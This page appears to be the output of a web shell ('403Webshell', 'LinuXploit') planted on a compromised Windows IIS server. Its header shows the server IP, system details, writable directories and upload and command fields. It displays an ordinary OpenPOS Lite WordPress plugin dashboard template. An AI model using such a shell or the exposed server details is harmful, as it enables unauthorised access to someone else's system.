403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/OPENPOSLITE/wp-content/plugins/wpos-lite-version/templates/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/OPENPOSLITE/wp-content/plugins/wpos-lite-version/templates/admin/dashboard.php
<?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
$op_nonce = wp_create_nonce( 'op_nonce' );
?>
<?php
/**
 * Created by PhpStorm.
 * User: anhvnit
 * Date: 12/4/16
 * Time: 23:40
 */

?>
<div class="op-admin-wrap wrap">
<h1 class="wp-heading-inline"><?php echo __( 'POS Dashboard', 'wpos-lite'); ?></h1>
<script type="text/javascript">
    (function($) {
        $('body').on('click','#reset-balance',function () {
            if(confirm('<?php echo __('This function to reset cash balance on your all cashdrawers to 0. Are you sure ?','wpos-lite'); ?>'))
            {
                $.ajax({
                    url: openpos_admin.ajax_url,
                    type: 'post',
                    dataType: 'json',
                    data:{action:'admin_openpos_reset_balance',op_nonce: '<?php echo $op_nonce?>'},
                    success:function(data){
                        $('#openpos-cash-balance').text(0);
                    }
                })
            }
        });
        $('body').on('click','#reset-debit-balance',function () {
            if(confirm('<?php echo __('This function to reset debit balance on your all cashdrawers to 0. Are you sure ?','wpos-lite'); ?>'))
            {
                $.ajax({
                    url: openpos_admin.ajax_url,
                    type: 'post',
                    dataType: 'json',
                    data:{action:'admin_openpos_reset_debit_balance',op_nonce: '<?php echo $op_nonce?>'},
                    success:function(data){
                        $('#openpos-debit-balance').text(0);
                    }
                })
            }
        });

        

        $(document).on('ready',function(){
            

        
            <?php
                $label = array();
                $sale_data = array();
                $transaction_data = array();
                $commision_data = array();
                foreach($chart_data as $index =>  $c)
                {
                    if($index == 0)
                    {
                        continue;
                    }
                    $label[] = $c[0];
                    $sale_data[] = round($c[1],wc_get_price_decimals());;
                    $transaction_data[] = $c[2];
                    $commision_data[] = round($c[3],wc_get_price_decimals());
                }
            ?>
            var ctx = document.getElementById("myChart").getContext("2d");
            var   sale_data = <?php echo json_encode($sale_data) ?>;
            var   commission_data = <?php echo json_encode($commision_data) ?>;

            var   transaction_data = <?php echo json_encode($transaction_data) ?>;;
            var labels =  <?php echo json_encode($label) ?>;
            
            var myChart = new Chart(ctx, {
                type: 'line',
                data: {
                    labels: labels,
                    datasets: [
                    {
                        label: '<?php echo __('Sales','wpos-lite'); ?>',
                        data: sale_data,
                    },
                    {
                        label: '<?php echo __('Profit','wpos-lite'); ?>',
                        data: commission_data,
                        borderColor: 'rgba(75, 192, 192, 1)',
                        backgroundColor: 'rgba(75, 192, 192, 0.2)',
                    }
                    
                ]
                },
                options: {
                        title: {
                            display: true,
                            text: '<?php echo __('All Sales','wpos-lite'); ?>'
                        }
                    }
            });
            <?php  $pie_type = 'register'; ?>
            var data = {
                datasets: [{
                    data: [],
                    backgroundColor: [],
                }],
                labels: []
            };

            var ctx_pie = document.getElementById("myChart-pie").getContext("2d");
            var myPieChart = new Chart(ctx_pie, {
                type: 'pie',
                data: data,
                options: {
                    title: {
                        display: true,
                        text: '<?php echo ($pie_type == 'register' ) ? __('Sale by Register','wpos-lite') : __('Sale by Outlet','wpos-lite'); ?>'
                    }
                }
            });
        
            var ctx_seller = document.getElementById("myChart-seller").getContext("2d");
            var mySellerChart = new Chart(ctx_seller, {
                type: 'horizontalBar',
                data: {
                    labels: [],
                    datasets: []
                },
                options: {
                        title: {
                            display: true,
                            text: '<?php echo __('Sales by Seller','wpos-lite'); ?>'
                        }
                    }
            });
        
            
            
            var ctx_payment = document.getElementById("myChart-payment").getContext("2d");
            var myPaymentChart = new Chart(ctx_payment, {
                type: 'pie',
                data: data,
                options: {
                        title: {
                            display: true,
                            text: '<?php echo __('Sales by Payment','wpos-lite'); ?>'
                        }
                    }
            });
            
            function loadChart(duration){
                    $.ajax({
                            url: openpos_admin.ajax_url,
                            type: 'post',
                            dataType: 'json',
                            data: {action: 'op_dashboard', op_nonce: '<?php echo $op_nonce; ?>',duration:duration},
                            beforeSend:function(){
                                $('.op-widget-ajax-data').addClass('loading');
                            },
                            success:function(response){
                                
                                var sale_data = response['sale_data'];
                                var register_data = response['register_data'];
                                var payment_data = response['payment_data'];
                                var seller_data = response['seller_data'];
                                //sale chart
                                myChart.data.labels = sale_data.label;
                                myChart.data.datasets[0]['data'] = sale_data.data;
                                myChart.data.datasets[1]['data'] = sale_data.commission_data;
                                myChart.update();
                                //register chart

                                myPieChart.data = register_data.data;
                                myPieChart.options.title.text = register_data.label;
                                myPieChart.update();
                                //seller chart

                                mySellerChart.data = seller_data;
                                mySellerChart.update();

                                //payment chart

                                myPaymentChart.data = payment_data;
                                myPaymentChart.update();

                                $('.op-widget-ajax-data').removeClass('loading');
                            }
                    });
            }
        

            loadChart('<?php echo $duration; ?>');

            $(document).on('click','.duration-option',function(){
                $('.duration-option').removeClass('btn-success');
                $(this).addClass('btn-success');
                var duration = $(this).data('duration');
                loadChart(duration);
            });
            
        });

    }(jQuery));
</script>

<div class="op-dashboard-content container">

    <div class="row">
        <div class="col-md-9 col-sm-9 col-xs-9 col-lg-9">
            <a class="btn duration-option <?php  echo ($duration == 'today') ? 'btn-default btn-success':'btn-default' ?> " data-duration="today" href="javascript:void(0)" role="button"><?php echo __('Today','wpos-lite'); ?></a>
            <a class="btn duration-option <?php  echo ($duration == 'yesterday') ? 'btn-default btn-success':'btn-default' ?> " data-duration="yesterday"  href="javascript:void(0)" role="button"><?php echo __('Yesterday','wpos-lite'); ?></a>
            <a class="btn duration-option <?php  echo ($duration == 'this_week') ? 'btn-default btn-success':'btn-default' ?>"  data-duration="this_week" href="javascript:void(0)" role="button"><?php echo __('This Week','wpos-lite'); ?></a>
            <a class="btn duration-option <?php  echo $duration == 'last_7_days' ? 'btn-default btn-success':'btn-default' ?>"  data-duration="last_7_days" href="javascript:void(0)" role="button"><?php echo __('Last 7 Days','wpos-lite'); ?></a>
            <a class="btn duration-option <?php  echo ($duration == 'this_month') ? 'btn-default btn-success':'btn-default' ?>"  data-duration="this_month" href="javascript:void(0)" role="button"><?php echo __('This Month','wpos-lite'); ?></a>
           
        </div>
        <div class="col-md-3 col-sm-3 col-xs-3 col-lg-3">
            <a href="<?php echo $pos_url; ?>"class="button-primary btn-default pull-right" target="_blank"><?php echo __('Goto POS','wpos-lite'); ?></a>
            <a href="https://codecanyon.net/item/openpos-a-complete-pos-plugins-for-woocomerce/22613341"class="button-danger btn-danger btn btn-default pull-left" style="font-size:12px;" target="_blank"><?php echo __('BUY OPENPOS NOW','wpos-lite'); ?></a>
        </div>
    </div>
    <div class="row">
        
            <div class="col-md-8 col-sm-8 col-xs-12 col-lg-8 op-widget-container">
                <div class="op-widget-content op-widget-ajax-data">
                    <canvas id="myChart" height="250" width="800"></canvas>
                </div>
            </div>
            
            <div class="col-md-4 col-sm-4 col-xs-12 col-lg-4 op-widget-container">
                <div class="op-widget-content op-widget-ajax-data">
                    <canvas id="myChart-pie"></canvas>
                </div>
            </div>
        
    </div>
    <div class="row">
            <div class="col-md-8 col-sm-8 col-xs-12 col-lg-8 op-widget-container">
                <div class="op-widget-content op-widget-ajax-data">
                    <canvas id="myChart-seller"></canvas>
                </div>
            </div>
            
            <div class="col-md-4 col-sm-4 col-xs-12 col-lg-4 op-widget-container">
                <div class="op-widget-content op-widget-ajax-data">
                    <canvas id="myChart-payment"></canvas>
                </div>
            </div>
       
    </div>
    <div class=" row">
        <div class="last-orders col-md-8 col-sm-8 col-xs-12 col-lg-8 op-widget-container" >
            <div class="op-widget-content">
                <div class="title"><label><?php echo __('Last Orders','wpos-lite'); ?></label></div>
                <div id="table_div_latest_orders">
                <table class="table table-bordered" style="width: 100%;" id="lastest-order">
                    <thead>
                        <tr>
                        <th><?php echo __('#','wpos-lite'); ?></th>
                        <th><?php echo __('Customer','wpos-lite'); ?></th>
                        <th><?php echo __('Grand Total','wpos-lite'); ?></th>
                        <th><?php echo __('Sale By','wpos-lite'); ?></th>
                        <th><?php echo __('Created At','wpos-lite'); ?></th>
                        <th><?php echo __('Status','wpos-lite'); ?></th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach($dashboard_data['order'] as $order): ?>
                        <tr>
                            <td><?php echo $order['view']; ?></td>
                            <td><?php echo $order['customer_name']; ?></td>
                            <td><?php echo $order['total']; ?></td>
                            <td><?php echo $order['cashier']; ?></td>
                            <td><?php echo $order['created_at']; ?></td>
                            <td class="order_status"><?php echo $order['status']; ?></td>
                        </tr>
                        <?php endforeach;   ?>
                    </tbody>
                </table>
                </div>
            </div>
        </div>
        <div class="total col-md-4 col-sm-4 col-xs-12 col-lg-4 op-widget-container">
            <div class="op-widget-content real-content-container">
                <div class="row ">
                    <div class="col-md-12 col-sm-12 col-lg-12 col-xs-12">
                        <div class="title"><label><?php echo __('Cash Balance','wpos-lite'); ?></label></div>
                        <ul id="total-details">

                            <li>
                                <div class="field-title" style="text-align: center;">
                                <span id="openpos-cash-balance"><?php echo $dashboard_data['cash_balance']; ?></span>
                                    <a href="javascript:void(0);" id="reset-balance" style="outline: none;display: block;border:none;" title="Reset Balance">
                                        <img src="<?php echo WPOSL_URL; ?>/assets/images/reset.png" height="34px" />
                                    </a>
                                </div>

                            </li>
                        </ul>
                    </div>
                </div>
                <?php if(isset($dashboard_data['debt_balance'])): ?>
                    <div class="row">
                        <div class="col-md-12 col-sm-12 col-lg-12 col-xs-12">
                            <div class="title"><label><?php echo __('Debit Balance','wpos-lite'); ?></label></div>
                            <ul id="total-details">

                                <li>
                                    <div class="field-title" style="text-align: center;color:red;">
                                        <span id="openpos-debit-balance"><?php echo $dashboard_data['debt_balance']; ?></span>
                                        <a href="javascript:void(0);" id="reset-debit-balance" style="outline: none;display: block;border:none;" title="Reset Balance">
                                            <img src="<?php echo WPOSL_URL; ?>/assets/images/reset.png" height="34px" />
                                        </a>
                                    </div>

                                </li>
                            </ul>
                        </div>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
</div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit